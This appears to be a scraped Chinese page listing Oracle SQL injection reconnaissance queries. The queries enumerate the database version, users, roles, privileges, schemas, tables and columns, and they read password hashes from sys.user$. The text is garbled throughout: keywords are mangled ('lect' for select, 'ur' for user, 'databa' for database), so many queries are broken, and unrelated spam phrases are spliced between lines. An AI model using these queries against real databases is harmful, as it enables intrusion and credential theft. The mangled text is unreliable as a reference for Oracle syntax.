长春休闲吧
OracleSQL注⼊常⽤语句
解析IP周深个人资料
lect _host_address('') from dual;
获取本机IP地址
lect _host_address from dual;
风平浪静造句根据IP地址反向解析主机名
lect _host_name('10.80.18.241') from dual;
-- list version
lect banner from v$version where rownum=1 ; -- oracle version
温和的英语-- list ur
lect ur from dual; -- current ur
唱京剧>天龙八部英雄任务
lect urname from ur_urs; -- current ur
lect urname from all_urs; -- all ur , the current ur
lect urname from dba_urs; -- all ur , need pris
-- list role
lect role from ssion_roles; -- current role
-- list privs
lect privilege from ur_sys_privs; -- privs the current ur has谦虚的作文素材
lect privilege from role_sys_privs; -- privs the current role has
lect privilege from ssion_privs; -- the all privs that current ur has = ur_sys_privs + role_sys_privs lect * from dba_sys_privs; -- all ur's privs , need privs
-- list password hash
lect name, password, astatus from sys.ur$; -- password hash <=10g , need privs
lect name, password, spare4 from sys.ur$; -- password has 11g , need privs
-- list databa
lect global_name from global_name; -- current databa
lect sys.databa_name from dual; -- current databa
lect name from v$databa; -- current databa name , need privs
lect instance_name from v$instance; -- current databa name , need privs
-- list schemas
lect distinct owner from all_tables; -- all schema
-- list tables
lect table_name from all_tables where owner='xxx'; -- all table name
-- list columns
诬蔑的意思
lect owner,table_name,column_name from all_tab_columns where table_name='xxx';
lect owner,table_name,column_name from all_tab_cols where table_name='xxx';
